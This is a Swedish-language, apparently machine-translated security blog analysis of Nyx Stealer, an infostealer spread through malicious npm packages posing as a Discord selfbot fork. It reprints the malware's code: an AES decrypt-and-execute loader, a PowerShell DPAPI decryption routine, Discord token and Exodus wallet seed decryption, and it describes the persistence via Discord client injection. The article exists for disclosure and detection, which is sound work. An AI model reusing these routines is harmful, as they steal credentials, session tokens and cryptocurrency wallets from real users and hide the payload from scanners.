TL; DR
Xygenis säkerhetsforskningsteam identifierade en sofistikerad npm-infostöldkampanj som levererades via två skadliga paket: konsolofy och selfbot-lofy.
Den senaste versionen (consolelofy@1.3.0) bäddar in en 216KB AES-krypterad nyttolast som dekrypteras vid körning och körs via vm.runInNewContext()Eftersom den skadliga logiken är helt krypterad kan statiska skannrar som förlitar sig på stränginspektion inte observera dess beteende förrän vid exekveringstillfället.
När nyttolasten är dekrypterad, internt märkt Nyx Stealer, mål:
- Discord-autentiseringstokens
- 50+ webbläsarinloggningsbutiker
- 90+ kryptovalutaplånbokstillägg
- Roblox, Instagram, Spotify, Steam, Telegram och TikTok-sessioner
- Discord-skrivbordsklientens persistens
Alla 20 versioner i båda paketen rapporterades och bekräftades vara skadliga.
Teknisk översikt av denna npm-infostealer
Till skillnad från traditionell skadlig kod vid installationstid förlitar sig den här kampanjen på en runtime dekrypteringsmodell.
Det finns:
- Ingen skadlig
preinstallorpostinstallhooks - Inga uppenbara nätverksanrop vid installationstid
- Ingen logik för insamling av inloggningsuppgifter i klartext
Nyttolasten aktiveras när modulen importeras. Hela den skadliga delen krypteras och materialiseras endast i minnet vid körning.
Denna design undviker specifikt detektering under paketinstallationen.
Hur denna npm-infostealer faktiskt körs
Innan vi analyserar vad Nyx Stealer stjäl, behöver vi förstå hur det exekveras.
Den skadliga logiken inuti denna npm-infostealer följer ett konsekvent mönster:
En liten laddare dekrypterar en stor krypterad nyttolast och kör den dynamiskt inuti en Node.js VM-kontext.
Denna design är avsiktlig. Angriparen döljer inte bara funktionalitet bakom obfuskation, de är helt och hållet ta bort skadlig kod från statisk synlighet.
Högnivåutförandemodell
På en övergripande nivå gör omslaget fyra saker:
- Hämtar en AES-nyckel från en hårdkodad lösenfras med hjälp av SHA-256
- Dekrypterar en stor hex-kodad chiffertext med AES-256-CBC
- Kör det dekrypterade JavaScriptet med hjälp av
vm.runInNewContext() - Tillhandahåller en sandlåda som fortfarande exponerar kraftfulla runtime-primitiver
Sammanfattning av kärnteknik
| Komponent | Konfiguration / Värde |
|---|---|
| Algoritm | AES-256-CBC |
| Nyckelhärledning | SHA-256 (lösenordfras) |
| Initialiseringsvektor (IV) | 16 byte av 0x00 |
| Utförande | vm.runInNewContext(dekrypterad, sandlåda) |
Avgörande nog passerar sandlådan genom:
requireprocessBuffer- timers
- modulexporter
Detta innebär att den dekrypterade nyttolasten behåller sin fulla kapacitet att:
- Spawnprocesser
- Läsa och skriva filer
- Ring nätverkssamtal
- Ändra lokala applikationer
Detta är inte en begränsad virtuell maskin. Det är en virtuell maskin som används som en avrättningstrampolin.
Runtime-krypteringsmönster (kärnkörningsmekanism)
Lastaren är liten.
Den illvilliga kroppen är det inte.
Nedan följer exekveringsmönstret som finns inuti paketet:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Varför detta Matters
Den dekrypterade nyttolasten:
- Har inte finns i klartext inuti npm-paketet
- Är osynlig för enkla
grepeller statisk strängskanning - Materialiseras endast i minnet vid körning
- Körs med fullständiga Node-körningsfunktioner
Denna kombination av AES + VM-körning är en stark beteendeindikator på en npm-infostjälare försöker undvika statisk inspektion.
Med andra ord:
Om du skannar paketkällkodsträdet ser du ingen stjälare.
Du ser en dekrypterare.
Vad händer efter dekryptering
När den är exekverad lanserar Nyx Stealer parallella datainsamlingsvågor.
Våg 1: Extraktion av webbläsaruppgifter
Skadlig programvara:
- Laddar ner en Python-körningstid från NuGet CDN
- Installerar kryptografiska bibliotek
- Extraherar Chromium-baserade autentiseringsuppgifter
- Dekrypterar DPAPI-skyddade hemligheter
Istället för att kompilera inbyggda bindningar använder den PowerShell för att anropa Windows DPAPI direkt.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Detta tillvägagångssätt:
- Undviker kompileringsartefakter
- Använder inbyggda Windows-krypto-API:er
- Smälter in i administrativa verktyg
Det är dekryptering av autentiseringsuppgifter på operativsystemnivå, inte skrapning.
Våg 2: Discord-token-dekryptering
Stjälaren är protokollmedveten. Den förstår Discords krypterade tokenformat.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Operativt flöde:
- Extrahera huvudnyckeln från Discord
Local State - Dekryptera huvudnyckeln via DPAPI
- Dekryptera AES-GCM-tokenblobbar
- Validera tokens mot Discord API
- Berika med Nitro, märken och faktureringsinformation
Detta är inte generisk dumpning av autentiseringsuppgifter. Det är protokollmedveten sessionskapning.
Våg 3: Kryptovalutaplånbokinriktning
npm-infostealern räknar upp:
- 90+ webbläsarplånbokstillägg
- 27 skrivbordsplånböcker
- Sökvägar för kalla plånböcker
- Exodus-fröfiler
Exempel på försök till seed-dekryptering:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Om det lyckas är plånbokskomprometteringen omedelbar och oåterkallelig.
Detta representerar kampanjens mest värdefulla intäktsgenereringsvektor.
Persistens via Discord Desktop Injection
Efter att ha samlat in autentiseringsuppgifter försöker Nyx Stealer beständighet genom att modifiera den lokala Discord kunden.
mål:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Operationell sekvens
Infostjälaren utför följande steg:
- Avslutar pågående Discord-processer
- Lokaliserar installerade Discord-varianter (Stable, Canary, PTB)
- Överskrivningar
discord_desktop_core/index.js - Injicerar angriparstyrd webhook-logik
- Startar om Discord
Detta säkerställer att framtida Discord-sessioner automatiskt läcker nya autentiseringstokens.
Viktigt är att denna ihållighet inte är beroende av schemalagda uppgifter eller registerändringar. Den utnyttjar kodmodifiering på applikationsnivå, en mer smygande metod.
Även om det skadliga npm-paketet senare tas bort, förblir Discord-klienten komprometterad.
Teknisk jämförelse: Legitimate Selfbot vs npm Infostealer
| Komponent | Legitimt bibliotek | Nyx npm Infostealer |
|---|---|---|
| kryptering | Ingen | Fullständig AES-krypterad nyttolast |
| Virtuell körning | Krävs inte | vm.runInNewContext utförande |
| Legitimationsåtkomst | Endast Discord API | Webbläsare, plånböcker, DPAPI |
| Externa nedladdningar | Nej | Python-körning via NuGet |
| Persistens | Nej | Discord-klientinjektion |
| intäktsgenerering | Botautomatisering | Återförsäljning av legitimationsuppgifter |
Redan krypteringslagret skiljer den här kampanjen från en typisk öppen källkods-fork.
En legitim Discord-selfbot har ingen anledning att kryptera hela sin kodbas, skapa PowerShell för att komma åt DPAPI, ladda ner externa runtimes eller modifiera interna program. När dessa funktioner dyker upp i ett beroende som påstår sig automatisera Discord-interaktioner blir den arkitektoniska obalansen omöjlig att ignorera.
Ur ett utredningsperspektiv lämnar denna npm-infostjälare spår över flera lager. De mest tillförlitliga indikatorerna är dock inte hårdkodade URL:er eller specifika filsökvägar, eftersom dessa kan variera mellan versioner. Istället är de varaktiga signalerna strukturella.
På paketnivå är den starkaste varningssignalen kombinationen av en stor krypterad nyttolast och ett runtime-dekrypteringsomslag som omedelbart körs via vm.runInNewContext()Även om kryptering i sig inte är skadligt i sig, är det mycket avvikande att använda AES-dekryptering följt av dynamisk VM-körning i ett Discord-verktygspaket.
På värdnivå inkluderar misstänkta mönster oväntad DPAPI-dekrypteringsaktivitet, processstart från en Node.js-beroendekontext och modifiering av lokala applikationsfiler som aldrig bör ändras av tredjepartsbibliotek. På nätverkslagret representerar utgående webhook-liknande kommunikation som initieras av ett utvecklingsberoende ytterligare en betydande anomali.
Med andra ord är detekteringsytan inte en enda indikator på kompromiss. Det är korrelationen mellan kryptering, körtidskörning, åtkomst till autentiseringsuppgifter och persistensbeteende som avslöjar hotet.
Detektion och begränsning med Xygeni
Denna npm-infostjälare identifierades av Xygenis tidiga varning om skadlig kod (MEW) genom skiktad beteendekorrelation snarare än enkel signaturmatchning.
Istället för att söka efter kända skadliga strängar utvärderar MEW strukturella avvikelser över hela källkodsträdet. I det här fallet uppstod detekteringen från konvergensen av flera signaler: en inbäddad AES-dekrypteringsrutin i modulens startpunkt, omedelbar exekvering i en VM-kontext och en tydlig överensstämmelse mellan kapacitet och avsikt.
Viktigt är att ingen av dessa signaler ensamma bevisar illvilliga avsikter. Men när de analyseras tillsammans avslöjar de ett försök att dölja beteendet vid körning. Denna flerskiktade metod minskar falska positiva resultat avsevärt samtidigt som den identifierar högkonfidentiella hot mot leveranskedjan.
Dessutom illustrerar detta fall varför enbart installationsinspektion är otillräcklig. Den skadliga logiken finns inte i livscykelskript. Den aktiveras först efter att modulen laddats och blir först synlig när den dekrypteras i minnet. Därför kräver ett effektivt försvar krypteringsmedveten analys, igenkänning av beteendemönster och kontinuerlig beroendeövervakning utöver installationshändelser.
Nedtagning av register är reaktiv. Runtime-medveten analys är förebyggande.
Varför denna npm-infostjälare är viktig
Nyx Stealer representerar en strukturell utveckling inom npm-baserad skadlig kod.
Historiskt sett förlitade sig många skadliga paket på synliga skript vid installationstid eller uppenbara slutpunkter för utplåning av autentiseringsuppgifter. Däremot krypterar denna kampanj sin nyttolast, skjuter upp körningen till körtid, utnyttjar legitima operativsystem-API:er och etablerar persistens i betrodda applikationer.
Följaktligen behöver angriparen inte utnyttja själva npm-infrastrukturen. Istället lyckas attacken eftersom beroendeinstallation innebär förtroende. Utvecklare antar att import av ett bibliotek är en säker operation, särskilt när det presenterar sig som en rimlig förgrening av ett populärt verktyg.
I takt med att ekosystem fortsätter att växa och forks sprider sig blir den implicita förtroendegränsen en alltmer attraktiv attackyta. Därför kräver försvar mot moderna npm-infostjälare att känna igen arkitektoniska mönster snarare än att söka efter statiska strängar.
I slutändan förstärker den här kampanjen en viktig lärdom i software supply chain securityDe farligaste hoten är inte de som ser skadliga ut vid första anblicken, utan de som verkar strukturellt legitima tills körningen avslöjar deras verkliga beteende.




